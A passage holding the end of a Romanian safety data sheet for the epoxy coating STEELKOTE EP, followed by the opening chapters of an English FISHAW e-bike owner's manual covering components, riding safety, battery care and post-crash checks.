31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP (Continuare pe pagina 7 ) * 14.5 Pericole pentru mediul înconjurător: neaplicabil * 14.6 Precauţii speciale pentru utilizatori neaplicabil * 14.7 Transport în vrac, în conformitate cu anexa II la Convenţia MARPOL şi cu Codul IBC neaplicabil * Transport/alte informaţii: * ADR/RID/ADN * Observaţii: > 450 l: 3 F1, III * IMDG * Observaţii: > 30 l: 3, III * UN "Model Regulation": nu apare SECŢIUNEA 15: Informaţii de reglementare * 15.1 Regulamente/legislaţie în domeniul securităţii, sănătăţii şi al mediului specifice (specifică) pentru substanţa sau amestecul în cauză * Pictograme de pericol * Etichetarea în conformitate cu Regulamentul (CE) nr. 1272/2008 Produsul este clasificat şi etichetat conform regulamentului privind clasificarea, etichetarea şi ambalarea (CLP). GHS07 * Cuvânt de avertizare Atenţie * Componente periculoase care determină etichetarea: reaction product: bisphenol-A-(epichlorhydrin) epoxy resin (number average molecular weight ≤ 700) phenol, 4,4'-(1-methylethylidene)bis-, polymer with 2,2'-[(1-methylethylidene)bis(4,1phenyleneoxymethylene)]bis[oxirane] oxirane, mono[(C12-14-alkyloxy)methyl] derivs * Fraze de pericol H315 Provoacă iritarea pielii. H226 Lichid şi vapori inflamabili. H319 Provoacă o iritare gravă a ochilor. * Fraze de precauţie H317 Poate provoca o reacţie alergică a pielii. P210 A se păstra departe de surse de căldură, suprafeţe fierbinţi, scântei, flăcări şi alte surse de aprindere. Fumatul interzis. Utilizaţi echipamente electrice/de ventilare/de iluminat/antideflagrante. P241 P303+P361+P353 ÎN CAZ DE CONTACT CU PIELEA (sau părul): scoateţi imediat toată îmbrăcămintea contaminată. Clătiţi pielea cu apă/faceţi duş. P305+P351+P338 ÎN CAZ DE CONTACT CU OCHII: clătiţi cu atenţie cu apă timp de mai multe minute. Scoateţi lentilele de contact, dacă este cazul şi dacă acest lucru se poate face cu uşurinţă. Continuaţi să clătiţi. P321 Tratament specific (a se vedea de pe această etichetă). P501 Aruncaţi conţinutul/containerul în acord cu regulamentele locale/regionale/ naţionale/internaţionale. * Directiva 2012/18/UE nici una dintre substanţele conţinute nu este consemnată * Denumirea substanţelor periculoase - ANEXA I Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP * Categoria Seveso P5c LICHIDE INFLAMABILE * Cantităţile relevante (în tone) ale substanţelor pentru încadrarea amplasamentelor de nivel inferior 5.000 t * REGULAMENTUL (CE) NR. 1907/2006 ANEXA XVII Condiţii de restricţionare: 3 * Cantităţile relevante (în tone) ale substanţelor pentru încadrarea amplasamentelor de nivel superior 50.000 t * 15.2 Evaluarea securităţii chimice: Nu a fost efectuată o evaluare a securităţii chimice. (Continuare pe pagina 8 ) SECŢIUNEA 16: Alte informaţii Datele au fost raportate pe baza cunoştinţelor noastre actuale, nu reprezintă totuşi nici o garanţie pentru caracteristicile produsului şi nu motivează nici un raport juridic contractual. * principiile relevante H304 Poate fi mortal în caz de înghiţire şi de pătrundere în căile respiratorii. H226 Lichid şi vapori inflamabili. H312 Nociv în contact cu pielea. H317 Poate provoca o reacţie alergică a pielii. H315 Provoacă iritarea pielii. H319 Provoacă o iritare gravă a ochilor. H332 Nociv în caz de inhalare. H331 Toxic în caz de inhalare. H335 Poate provoca iritarea căilor respiratorii. H411 Toxic pentru mediul acvatic cu efecte pe termen lung. H336 Poate provoca somnolenţă sau ameţeală. * Fişă completată de: Product Safety Department Interlocutor: * Mr. Frank van Hofwegen ADR: Accord européen sur le transport des marchandises dangereuses par Route (European Agreement concerning the International Carriage of Dangerous Goods by Road) * Abrevieri şi acronime: IMDG: International Maritime Code for Dangerous Goods GHS: Globally Harmonised System of Classification and Labelling of Chemicals IATA: International Air Transport Association EINECS: European Inventory of Existing Commercial Chemical Substances CAS: Chemical Abstracts Service (division of the American Chemical Society) ELINCS: European List of Notified Chemical Substances VOC: Volatile Organic Compounds (USA, EU) LD50: Lethal dose, 50 percent LC50: Lethal concentration, 50 percent PBT: Persistent, Bioaccumulative and Toxic Flam. Liq. 3: Lichide inflamabile – Categoria 3 vPvB: very Persistent and very Bioaccumulative Acute Tox. 4: Toxicitate acută – Categoria 4 Skin Irrit. 2: Corodarea/iritarea pielii – Categoria 2 Acute Tox. 3: Toxicitate acută – Categoria 3 Eye Irrit. 2: Lezarea gravă a ochilor/iritarea ochilor – Categoria 2 STOT SE 3: Toxicitate asupra unui organ ţintă specific (o singură expunere) – Categoria 3 Skin Sens. 1: Sensibilizarea pielii – Categoria 1 Asp. Tox. 1: Pericol prin aspirare – Categoria 1 Aquatic Chronic 2: Periculos pentru mediul acvatic - pericol pe termen lung pentru mediul acvatic – Categoria 2 RO
<urn:uuid:3fca94c6-4427-4f72-9a84-280065437e1f>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
18,426
FISHAW E-BIKE MANUAL 1. FiSHAW UB200 Urban E-Bike Component Diagram ................................................................. 2 2. FiSHAW Mid-Drive Urban E-Bike Components Diagram ...................................................... 3 3. FiSHAW E-Mountain Bike Components Diagram .................................................................. 4 4. FiSHAW Folding E-Bike Components Diagram ..................................................................... 5 5. General Safety Instructions .................................................................................................... 6-9 6. Riding a Fishaw Electric Bike - Special Features ................................................................. 9-11 7. The Proper Care of Your Rechargeable Battery ................................................................... 12-15 8. Before Each and Every Ride .................................................................................................. 15-16 9. Accidents - Checklist Before Continuing to Ride ............................................................... 16-19 10. First Ride-Checklist .............................................................................................................. 19-21 11. Adjustments of Your E-Bike to Suit the Rider ................................................................... 22-27 12. Adjusting the Saddle to the Correct Height ....................................................................... 22 13. Adjusting the Height of The Handlebars ............................................................................. 23-26 14. Correcting the Horizontal Tilt of The Saddle and The Forward to Back Position ........... 26 15. Adjusting Saddle Position and Tilt ...................................................................................... 26 16. Adjusting the Tilt of the Handlebars and Brake Levers .................................................... 26-27 17. Quick-Releases-Instructions for Use ................................................................................... 28-29 18. Braking Systems .................................................................................................................. 29-32 19. Gears .................................................................................................................................... 32-38 20. Chain-Care and Maintenance ............................................................................................... 38-39 21. Wheels and Tyres ............................................................................................................... 39-44 22. Headset ................................................................................................................................ 44-45 23. Suspension .......................................................................................................................... 45-50 24. Lights .................................................................................................................................... 50-51 25. Things Worth Knowing About Your FiSHAW Electric Bike ........................................... 51-53 26. Mudguards/Wheel Protectors .............................................................................................. 52 27. Transporting Baggage .......................................................................................................... 52 28. Taking Children with You ..................................................................................................... 53-54 29. Transporting The Fishaw Electric Bike .............................................................................. 55-56 30. Notes On Care And Servicing .............................................................................................. 56-59 31. Servicing and Maintainance .................................................................................................. 59 32. Warranty ............................................................................................................................... 61-64 Assembly Instructions QR Code Display Operating Manuals QR Code Seatpost Seat Quick release Seat stay Rear rack Rear brake caliper Rear brake disc Free wheel Rear light Headset Handlebar stem Handlebar Brake lever Shifter lever Brake control cables Electronic cables Head tube Front light Front suspension forks Front brake caliper Front brake disc Rear mudguard Motor Derailleur Stand Chainstay Chain Pedal Crank arm Chain wheel Chain guard Tyre valve Wheel hub Spokes Rim Tyre Wheel reflector Front mudguard Battery Downtube Top tube Seatpost Seat Quick release Seat stay Rear rack Rear brake caliper Rear brake disc Free wheel Rear light Headset Handlebar stem Handlebar Shifter lever Brake lever Brake control cables Electronic cables Head tube Front light Front suspension forks Front brake caliper Front brake disc Rear mudguard Derailleur Stand Chainstay Pedal Crank arm Chain Chain wheel Wheel reflector Wheel hub Spokes Rim Tyre Tyre valve Front mudguard Downtube Battery Motor Rear shock Rear suspension pivot Top tube Seat Rear light Seatpost Quick release Seat stay Rear brake caliper Rear brake disc Free wheel Headset Handlebar stem Handlebar Brake lever Shifter lever Brake control cables Electronic cables Head tube Front light Front suspension forks Front brake caliper Front brake disc Rear reflector Derailleur Stand Chainstay Seat tube Chain wheel Chain Crank arm Motor Pedal Wheel reflector Wheel hub Spokes Rim Tyre Tyre valve Battery release Charge input Battery Downtube | Part | Description | |----------------------|---------------------------| | Seat post | Head set | | Seat | Telescopic handle bar stem| | Quick release | Handlebar | | Seat stay | Break lever | | Rear brake disc | Shifter lever | | Rear brake caliper | Break control cables | | Free wheel | Electronic cables | | Rear rack | Head tube | | Rear light | Front light | | | Front suspension forks | | | Front brake caliper | | | Front brake disc | | Rear mudguard | Spokes | | Derailleur | Rim | | Stand | Tyre valve | | Chain stay | Wheel hub | | Chain | Tyre | | Chain wheel | Front mudguard | | Crank arm | Battery lock | | Motor | Down tube | | Pedal | Battery | | | Folding lock clip | GENERAL SAFETY INSTRUCTIONS Dear FISHAW customer, FISHAW electric bikes have been designed to provide you with an electric bike of high quality and performance. Each component of your new FISHAW electric bike has been designed, manufactured, and assembled with care and expertise by our FISHAW team. Your electric bike was given a functional check at its final assembly, before leaving our factory. This ensures your electric bike arrives with little assembly required and peace of mind that your electric bike has passed our strict quality control standards. This manual contains information on the proper use of your FISHAW electric bike, its maintenance and operation. Read these FISHAW operating instructions thoroughly. Electric bicycle technology is advancing at a rapid pace. Before riding your new FISHAW electric bike it is imperative to be sure to carry out the functional checks in the chapter “Before Each Ride” on your FISHAW electric bike. All FISHAW electric bike models, comply with the requirements of the European standards EN 15194 for pedelecs; which Australia has adopted as its own standard. These operating instructions are not intended to help you assemble a FISHAW electric bike from individual components or to repair it. Assembly Instructions for all our models can be found on our website. Link to FiSHAW E-Bike Assembly Instruction Manuals: https://fishaw.com/assembly-instructions/ These operating instructions focus on your newly purchased FISHAW electric bike and standard components and provides the most important information and warnings. In conjunction with this manual, please observe the system instructions of the drive manufacturers and the instructions of the component manufacturers, found on their respective websites. Please contact your FISHAW representative if you require assistance obtaining this information. When doing any adjusting and maintenance work, be aware that the instructions in this manual only refer to FISHAW electric bikes. The information contained in this manual is not applicable to any other type of electric bicycle. Be aware that these instructions may require further explanation, depending on the experience and/or skills of the person doing the work. For some jobs you may require additional (special) tools or supplementary instructions. This manual cannot teach you the skills of a bicycle mechanic. Before riding, pay attention to these instructions that are very important to every cyclist. Never ride without a properly adjusted helmet. Make sure to wear suitable, bright clothing, and shoes. Always ride carefully on public roads and observe the traffic rules so as not to put yourself or others in danger. ⚠️ This manual cannot teach you how to ride. Please be aware that cycling is a potentially dangerous activity that always requires the rider to stay in control of his or her FISHAW E-Bike. Be aware from the moment you set off that you have suitable riding experience and expertise. Like any sport, cycling involves the risk of injury and damage. By choosing to ride an e-bike, you assume the responsibility for these risks. On an e-bike you have no protection around you like you have in a car (e.g. bodywork, ABS, airbag). Always ride carefully and respect the other road users. Never ride under the influence of drugs, medication, alcohol or when you are tired. Do not ride with a second person on your FISHAW e-bike, unless on an attached passenger seat (e.g., child seat), and never ride without having both hands on the handlebars. Observe the legal regulations for your state, concerning off-road cycling and cycling on public roads with FISHAW electric bikes. Respect the natural environment when riding through national parks and in the open countryside. Only use your FISHAW Urban e-bikes on well-maintained trails and hard-surface roads. ⚠️ Always remember that you travel rapidly and quietly when you are riding a FISHAW electric bike. Do not startle pedestrians or other cyclists. Always make others aware of your presence well ahead of time, by ringing your bell and use the brakes to avoid accidents. Familiarize yourself with your FISHAW electric bicycle. For more information in this regard, read the chapter “Riding a FISHAW Electric Bicycle — Special Features”. First, we would like to familiarize you with the various components used on your FISHAW city/trekking electric bicycle. Observe the component description on the front pages of these FISHAW operating instructions. There you will find a FISHAW hybrid/urban electric bike, a FISHAW trekking/mountain electric bike and a FISHAW Folding electric bike, showing all the essential components so that you can easily locate the components as they are referred to in this user’s manual. ⚠️ For your own safety never do any work or adjusting when servicing your bike unless you feel absolutely sure about it. If you are in doubt or if you have any questions, contact your qualified bicycle mechanic or FISHAW directly. Please note: Do not hitch yourself and your bike to a car. Do not ride freehand. Only take your feet off the pedals, if required by the condition of the road. ⚠️ Keep in mind that every type of bike is designed for a specific use. Be sure to use your FISHAW electric bicycle only for its intended use, as it may otherwise not withstand the stress and could fail and cause an accident with unforeseeable consequences! If you use your bike for anything other than its intended purpose, the warranty will become void. **URBAN E-BIKES** FISHAW urban and folding e-bikes are intended for hard-surface roads, i.e., for tarred roads and bicycle lanes or gravel off road tracks. Observe the traffic rules when riding on public roads. **FISHAW e-bikes are not suitable for competitive use of any kind.** FISHAW bikes of this category are designed for riding on hard-surface roads, where the wheels remain in permanent contact with the ground. The rider’s maximum weight including baggage should not exceed 120 kg for the Urban E-Bikes and 130 kg for the E-Mountain Bikes. FISHAW e-bikes are not suitable for stair riding, jumps, slides, wheelies, tricks. For your own safety, do not overestimate your riding skills. Please note that though looking easy the tricks of a professional are dangerous and can cause serious injury. Always protect yourself with suitable clothing. When riding a FISHAW electric bicycle, wearing a helmet is compulsory and must comply with Australian standard AS/NZS 2063. FISHAW Urban electric bicycles are designed for cycling exclusively on paths and roads with a compacted surface. They are equipped with tyres suitable for riding on grass and gravel surfaces, making them suitable for most rail trails and touring. FISHAW urban electric bikes are generally suitable for off-road use, as long as they are ridden on well-maintained trails and tracks with compacted surfaces and no large rocks or holes. Your FISHAW electric bike is designed for a maximum overall weight including rider and baggage. The overall weight is 120 kg for Urban models and 130 kg for Mountain Bike models. Be sure to use your FISHAW electric bike only for its intended purpose, as it may otherwise not withstand the stress and fail. Risk of an accident! ⚠️ Please note that there are different types of pedelecs and e-bikes which are subject to different legal framework conditions. All FISHAW E-Bike’s conform to the Australian regulations for Pedalecs (pedal assist bicycles). POWER-ASSISTED PEDAL CYCLE (AB) A pedal cycle to which is attached one or more auxiliary propulsion motors having a combined maximum power output not exceeding 200 watts; or A ‘Pedelec’. PEDELEC - A vehicle meeting European Committee for Standardization EN 15194:2009 or EN 15194:2009+A1:2011 Cycles - Electrically power assisted cycles - EPAC Bicycles. To be considered a Power Assisted Pedal Cycle or a Pedelec, the following requirements apply: Power Assisted Pedal Cycle – maximum power output 200 watts The auxiliary motor/s must not be capable of producing a combined maximum power output exceeding 200 watts, whether or not the motor/s is operating. 2. Power-assisted pedal cycle – maximum power output 250 watts (a ‘Pedelec’) Motor has no more than 250 watts. Compliant with EN 15194:2009 or EN 15194:2009+A1:2011 Top power assisted speed limited to 25 kilometres per hour. A person must still be able to propel the bicycle via pedals without the motor operating. Road Safety requirements vary slightly from State to State: Your FISHAW electric bike is designed to be used like a conventional bike. The unique riding experience, however, starts when you operate the drive system. At that moment, the assistance generated by the 250 W motor increases with its high torque the stronger you pedal. ⚠️ **Set off for your first ride by selecting the lowest level of drive assistance.** Gradually get used to the additional power. Slowly approach the potential of your FISHAW electric bike in an area free of traffic. Practice typical riding situations such as starting off and braking, tight corners and riding on narrow cycle paths and lanes. This is where a FISHAW electric bike really differs from a conventional bike. Be aware that the brakes of your FISHAW electric bike are always more effective than the drive. If you face any problems with your drive (e.g., because it pushes you forward in front of a bend), slow down your FISHAW electric bike carefully. This is only applicable to rear-hub drive systems (motors). **RIDING WITH DRIVE ASSISTANCE** The system is switched on and off at the buttons of the control panel on the handlebars. Different assistance modes can be selected, the remaining capacity of the rechargeable battery is displayed, and the different functions of the cycle computer can be selected. Detailed operating instructions for the Drive (Display) Systems for each model are found in the footer on our website: - [https://fishaw.com/manual/](https://fishaw.com/manual/) When switched on, the system activates during pedalling and the drive assistance is available. Sensors measure your pedalling movements and control the fully automated drive. assistance according to the selected assistance mode. The level of the additional propulsion depends on the assistance mode, your speed and the amount of force applied to the pedals. The assistance switches off when you reach a speed of more than 25 km/h. Keep in mind that you may have to change your riding habits: Do not mount by placing one foot on the pedal and by trying to throw the other leg over the saddle. The FISHAW electric bike would set off suddenly unless the assistance level is set to “0” on your Display. **The motor will engage as soon as you move the pedals on all other levels of assistance!** ⚠️ Stop pedalling earlier than you are used to before riding a turn or bend. Otherwise, there may be too much propulsion and your cornering speed may be too high. Do not give in to the temptation to always ride in a high gear, due to the strong motor. Shift gears frequently in the same way that you are used to doing with a conventional bike to make your own contribution to your forward progress as efficient as possible. Your cadence should always be in a smooth flow. In other words, you should pedal at more than 60 crank rotations per minute. ⚠️ Keep in mind that the other road users are not yet used to the new electric bicycles and their higher speeds. Ride with this fact in mind and anticipate the actions of other road users. Be aware that the speed you ride at will be clearly faster than you are used to. Therefore, keep these facts in mind and be ready to brake whenever unclear or possibly dangerous situations come into your field of vision. ⚠️ Do a test ride in an unfrequented area to make yourself familiar with the riding characteristics of your FISHAW electric bike. ⚠️ Never ride without a helmet! ⚠️ Do not step on the pedals before sitting in the saddle, select the lowest level of assistance (level 1) and be ready to brake when you set off. Risk of an accident! ⚠️ Keep in mind, when riding the UB200 Urban Model, that due to the higher driving power at the rear wheel the risk of an accident increases with slippery roads (due to wetness, snow, gravel etc.). This applies more when riding bends. Risk of an accident! ⚠️ Please note that car drivers and other road users may underestimate your speed. Always wear bright clothing. Therefore, always ride on public roads with this fact in mind and anticipate the actions of other road users. Risk of an accident! ⚠️ Keep in mind that pedestrians do not hear you when you approach at high speed. Therefore, ride particularly defensively when using cycle lanes and cycle/footpaths to avoid accidents. If necessary, ring the bell to warn others. **RANGE — USEFUL INFORMATION FOR A LONG RIDE** How long and how far you can benefit from the auxiliary drive depends on several factors, i.e., the road conditions, the weight of the rider and any additional load, the rider’s pedal force, the assistance level chosen, (head)winds, frequent stops, temperature, weather conditions, topography, tyre pressure, etc. The charge state of your rechargeable battery can be read from the display/controller, on the handlebars. The batteries of FISHAW electric bikes have no memory effect. It is recommended that you charge the battery after every long ride. Avoid any deep discharge of the rechargeable battery. For more information see the chapter, “Important Information for The Proper Care of Your Rechargeable Battery”. To extend the range it is recommended that you ride with low assistance or no assistance at all on level or downhill trails and only select maximum drive assistance with headwinds, heavy additional loads and/or when climbing hills. You can extend the range by: - checking the tyre pressure regularly, i.e., once a week with a pressure gauge, and changing it, if necessary. - shifting gears down in front of traffic lights and intersections or in general in cases of stops and by setting off in low gears. - shifting gears regularly, as you would do on a bike without drive assistance. - not only riding in high gears - riding with these facts in mind and always looking ahead to avoid any unnecessary stops. - reducing your additional load, i.e., without any unnecessary baggage - storing your battery in your home and installing it only shortly before you set off on your bike in cooler weather, when it is cold. - not parking your FISHAW electric bike in the blazing sun If your battery does not have enough capacity to reach your destination, you will benefit from the advantage of the fact that you are riding a hybrid electric bike. The advantage being that; without drive assistance you can ride your FISHAW electric bike like a conventional bike, with an unlimited range and almost without compromising on riding characteristics. If your battery runs empty during the ride, do not recharge the battery with any other charger, even if it happens to be fitted with an identical connector type. Risk of explosion! Only charge your battery with the supplied charger! Riding Without Drive Assistance You can also use your FISHAW electric bike without drive assistance, i.e., just like a conventional bike. Observe the following points when riding without the rechargeable battery: - If you want to ride without drive assistance with a mounted battery, you can switch on the drive control panel of your FISHAW electric bike to benefit from the functions of your cycle computer. Just select 0 as the level of power assistance. After you have removed the battery of your FISHAW electric bike: Keep the connections of the rechargeable battery free of dirt and moisture. IMPORTANT INFORMATION FOR THE PROPER CARE OF YOUR RECHARGEABLE BATTERY Remove the rechargeable battery if you do not use your FISHAW electric bike for an extended period of time (e.g., on vacation). Store the rechargeable battery in a dry room at temperatures between 5 and 20 degrees Celsius. The state of charge should be 50 to 70% of the charging capacity. Check the state of charge, if the rechargeable battery is left unused for more than two months, and recharge it in between, if necessary. Clean the battery housing with a dry or, if at all, a slightly moist rag. Do not direct the water jet of a high-pressure cleaner at the rechargeable battery, as there is a risk of water entry and/or short-circuit. Charge your battery only with the supplied charger. Do not use the charger of any other manufacturer, not even when the connector of the charger matches your rechargeable battery. The rechargeable battery can heat up, catch fire, or even explode! Keep the rechargeable battery and the charger out of the reach of children! We recommend that you charge your battery during the day and only in dry rooms which have a smoke or a fire detector; but keep it out of your bedroom. Place the battery during the charging process on a non-flammable surface! Unplug the battery once it has been charged up. Keep the rechargeable battery and the charger away from moisture and water during the charging process to prevent electric shocks and short circuits. Do not use a rechargeable battery or a charger that is damaged or faulty. If you are in doubt or if you have any questions, contact your FISHAW customer service representative. Do not expose your battery or the charger to the blazing sun. Do not charge any other electrical devices with the supplied charger of your FISHAW electric bike! The drive is not approved for steam cleaning, high-pressure cleaning, or cleaning with a water hose. The contact of water with the electrical components or the drive can destroy the units. The individual drive components can be cleaned with a soft rag and neutral detergents. You may use a moist rag, but not excessive water. Keep the rechargeable battery dry and do not submerge it! Risk of explosion! Make sure your rechargeable battery is in good condition. Do not open, disassemble, or crush the battery. Risk of explosion! Make sure your rechargeable battery is not exposed to mechanical impacts. Keep your battery away from fire and heat. Risk of explosion! Batteries must not be short-circuited. Store them in a safe storage area and make sure the battery is not short-circuited accidentally (e.g., with another battery). In addition, the rechargeable battery must not be stored inappropriately, e.g., in a box or in a drawer where they can be short-circuited by other conductive materials or where they can short-circuit each other. Do not place any objects in the storage area (e.g., clothes). ⚠️ Make sure to use the battery only for the FISHAW electric bike for which it is designed. ⚠️ When you remove your battery from your e-bike for charging it; you should protect the connections, e.g., with a plastic bag against rain, water, moisture, and dirt. If the connections of the rechargeable battery are soiled, clean them with a dry rag. ⚠️ Your FISHAW electric bike should NOT be left in the open during charging! ⚠️ Make sure not to discharge your rechargeable battery completely (also referred to as deep discharge). This occurs often when the battery has run out completely and the FISHAW electric bike is left uncharged for a number of days. Depth discharge will affect the rechargeable battery of your FISHAW electric bike permanently! A deep-discharged battery can only be recharged in exceptional cases and with special chargers. Contact your FISHAW customer service representative. If the rechargeable battery or the charger (or parts of it) must be replaced, only use original spare parts. Contact your FISHAW customer service representative. Charge the battery at an ambient temperature of approx. 20 degrees Celsius. Therefore, before starting the charging, wait until the temperature of the battery has increased or decreased after a ride in cold weather or hot weather. ⚠️ Do not dispose of your rechargeable battery in the normal household rubbish. It must be disposed of according to battery disposal regulations. Therefore, sellers of new rechargeable batteries must provide collection of old batteries and appropriate disposal. If you are in doubt or if you have any questions, contact FISHAW. Remove the rechargeable battery from your FISHAW electric bike, if you do not use your FISHAW electric bike for a long period of time and keep it clean and dry. Do not charge your battery over a long period of time if you do not need it. ⚠️ Lithium-ion batteries have no memory effect; they can therefore be charged at any time without affecting battery life. • Do not recharge the battery in places with high humidity or outdoors. Doing so may result in electric shock. • Do not insert the plug while it is wet. Plug and socket need to be dry, otherwise electric shocks may occur. • If the battery does not become fully charged after 6 hours, unplug the battery from the outlet immediately and stop charging. Not doing so may cause overheating, rupture, or ignition of the battery. • Do not use the battery if it has any noticeable damage. Doing so may cause rupture, overheating or malfunction. • The battery may only be used in the temperature ranges stated below. Do not use the battery in temperatures outside these ranges. If the battery is used or stored in temperatures outside these ranges, fire, injury or malfunction may occur: - 1. Temperature for discharging: $-10^\circ\text{C}$ to $50^\circ\text{C}$ - 2. Temperature for charging: $0^\circ\text{C}$ to $40^\circ\text{C}$ ⚠️ **Danger! Pay Attention to all of the Following Instructions:** - Do not deform, modify, or disassemble the battery. Do not apply solder directly to the battery. Doing so may cause leakage, overheating, rupture, or ignition of the battery. - Do not leave the battery near sources of heat (e.g., heaters). Do not heat the battery or throw it into a fire. Doing so may cause rupture or ignition of the battery. - Do not subject the battery to strong shocks or throw it. If this is not observed, overheating, rupture or ignition of the battery may occur. - Do not immerse the battery in fresh water or seawater, and do not allow the battery terminals to get wet. Doing so may cause overheating, rupture, or ignition of the battery. - Only use the specified charger. Not doing so may cause overheating, bursting, or ignition of the battery. Observe the components during the specified charging conditions when charging the battery. - Do not short-circuit the discharge port with metal, or else it may cause overheating, rupture, or ignition of the battery. - Do not leave the battery in a place exposed to direct sunlight, inside a vehicle on a hot day or in other hot places. Doing so may result in battery leakage. - If any leaked fluid gets on your skin or clothes, wash it off immediately with clean water. The leaked fluid may damage your skin. - If any liquid leaking from the battery gets into your eyes, rinse immediately with clean water (e.g., tap water). Seek medical advice immediately; otherwise, the battery liquid may damage your eyes. - Store the battery in a safe place out of the reach of children and pets. **Using the Battery Properly** The battery can be charged at any time no matter how much power is left. However, in the following cases, the battery needs to be fully charged. Make sure you use the specified charger to charge the battery. - The battery is usually not fully charged for the convenience of transport. Make sure the battery is fully charged before using the battery for the first time. (i.e., when you first receive your e-bike). - If you do not intend to use the battery for a long time, make sure the battery is fully charged before storage and that it is charged at least once every 12 months thereafter. Do not leave the battery completely discharged! - Once you have begun to use the battery, please have it charged at least once every two weeks. If the battery is completely discharged, charge it as soon as possible. If you do not charge the battery, it will be damaged! **Charging the Battery** • When using the battery for the first time, check that the battery has not run low in transport or storage. • If you do not intend to use the battery for a long period of time, charge the battery regularly to avoid excessive battery discharge. • Please charge the battery as soon as possible before it runs out; over-discharge can cause permanent damage to the battery. • No matter how much power is left, the battery can be charged at any time. However, the specified charger must be used to avoid overcharge of the battery. **Removing the Battery for Charging** The key locks the battery into place and unlocks the battery, so that you can remove it from the e-bike for travelling or charging away from the e-bike. Once you lock the battery into place no one can remove it from the bike. Please make sure you do not leave your keys in your e-bike when you are out with the e-bike. **Always keep them in a safe place, as they are made to work for your battery only and are expensive to replace, if lost.** ⚠️ Record the identification number that comes with your keys as soon as you receive them. This ID is specific to your e-bike lock and will be needed to order replacement keys. When you first receive your e-bike, separate the keys and put the spare key away for safe keeping, along with your lock ID number. When the key is turned one way, the battery is locked onto the bike and you cannot remove it. Please make sure that the battery is locked into place properly before riding the bike and definitely before leaving your bike unattended. When it is turned the other way, you are able to pull the battery off the frame for charging away from the bike. You need to pull the battery towards you out of the frame to remove it. If it is locked, you will be unable to pull it away from the frame. A photo of the battery being removed, for your reference: We have found it is easier sometimes to hold the actual battery and pull it across towards you than just to pull it from the black finger hold on the side of the battery. To replace the battery, you need to do so on an angle with the bottom of the battery lined up with the connection points on the bottom of the battery and the frame and then push the battery firmly into the frame, so that it is firmly in the frame and can be locked into place again with the battery. The removal and replacement of the battery becomes easier with practise. **BEFORE EACH AND EVERY RIDE** 1. If you want to use your bike on public roads, it must comply with federal and state, legal requirements. For more information see page 8 of this user manual, for Australian Electric Bike Legislation. 2. Are you familiar with the brake system? Your new bike is equipped with modern brakes, which may be far more powerful than those you were used to in the past. Be sure to first practice using the brakes on a level, non-slip surface off public roads! Slowly approach higher brake performances and speeds. For more information see the chapter “The Brake System” and the instructions of the component manufacturers on their respective websites. 3. Are you familiar with the type and functioning of the gears? Make yourself familiar with your new gears in an area free of traffic, if necessary. For more information see the chapter “The gears” and the instructions of the component manufacturer on their respective websites. 4. Are saddle and handlebars properly adjusted? The saddle should be set to a height from which you can just reach the pedal in its lowest position with your heel. Check whether your toes reach to the floor when you are sitting on the saddle. For more information see the chapter “Adjusting the FISHAW E-Bike to the Rider”. 5. If you have bought a FISHAW electric bike with suspension, you should read the chapters “Suspension Forks” and the instructions of the component manufacturers on their respective websites. ⚠️ Improperly adjusted suspension components are liable to malfunction or cause damage. In any case they will impair the performance of your electric bike as well as your safety and enjoyment whilst riding. ⚠️ Be sure to use your FISHAW electric bike only for its intended purpose, as it may otherwise not withstand the stress and fail. Risk of an accident! ⚠️ Pay particular attention to the fact that there is enough clearance between your crotch and the top tube so that you do not hurt yourself when you have to get off your bike quickly. ⚠️ Note that both braking effect and tyre grip can be reduced drastically in wet conditions. Look well ahead when riding on wet roads and go well below the speed you would ride at in dry conditions. ⚠️ If you are involved in a crash with your FISHAW electric bike, perform the check described in the next chapter. Ride back very carefully by taking the shortest route possible, even if your FISHAW electric bike went through this check without any problems. Do not accelerate or brake hard and do not ride your bike out of the saddle. If you are in any doubt, have yourself picked up by car, instead of taking any risk. Back home you need to check your FISHAW electric bike thoroughly once again. If you are in doubt or if you have any questions, contact FISHAW or your local electric bicycle mechanic! ACCIDENTS- CHECKLIST BEFORE CONTINUING TO RIDE 1. Check whether the wheels are still firmly fixed in the dropouts and whether the rims are still centred with respect to the frame or fork. Spin the wheels and observe the gap either between brake pads and rim sides or between frame and tyre. Have the wheels trued by your bike mechanic immediately after you are back home. For more information see the chapters “The Brake System”, “How to use the Quick-Releases” and “The Wheels and the Tyres” as well as in the instructions of the component manufacturers on their respective websites. 2. Check that handlebars and stem are neither bent nor broken and that they are level and upright. Make sure the stem is firmly fixed on the fork by trying to turn the handlebars relative to the front wheel. Briefly lean on the brake levers to make sure the handlebars are firmly fixed in the stem. Realign the components, if necessary, and gently tighten the bolts to ensure a reliable clamping of the components. The maximum torque values are printed directly on the components or specified in the instructions of the component manufacturers on their respective websites. For more information see the chapters “Adjusting the FISHAW Bike to the Rider” and “The Headset” and the instructions of the component manufacturers on their respective websites. 3. Check whether the chain still runs on the chain-wheels and the sprockets. If your FISHAW electric bike fell over to the chain side, verify the proper functioning of the gears. Ask somebody to lift your FISHAW bike by the saddle and carefully shift through all the gears. Pay particular attention when switching to the small gears, making sure the rear derailleur does not get too close to the spokes as the chain climbs onto the larger sprockets. If the rear derailleur or the dropouts/derailleur hanger is bent, the rear derailleur may collide with the spokes. This can destroy the rear derailleur, the rear wheel, or the frame. For more information see the chapter “The Gears” and the instructions of the component manufacturers on their respective websites. 4. Make sure the saddle is not twisted by using the top tube — or the bottom bracket shell as a reference. If necessary, open the seat clamp, realign the saddle, and retighten the clamping. For more information see the chapters “Adjusting the FISHAW Bike to the Rider” and “How to use the Quick-Releases” and the instructions of the component manufacturers on their respective websites. 5. Let your FISHAW bike bounce on the ground from a small height. If there is any rattling, see where it comes from. Check the bearings, bolted connections, and tighten them slightly, if necessary. 6. Finally, take a good look at the whole FISHAW electric bike to detect any deformations, colour changes or cracks. Ride back very carefully by taking the shortest route possible, even if your FISHAW electric bike went through this check without any problems. Do not accelerate or brake hard and do not ride your bike out of the saddle. If you are in doubt about the performance of your FISHAW electric bike, have yourself picked up by car, instead of taking any risk. Back home you need to check your FISHAW electric bike thoroughly. Damaged parts must be repaired or replaced. Ask FISHAW for advice. ⚠️ Damaged components, especially components made of aluminium, can break without previous warning. They must not be repaired, i.e., straightened, as this will not reduce the imminent risk of breakage. This applies in 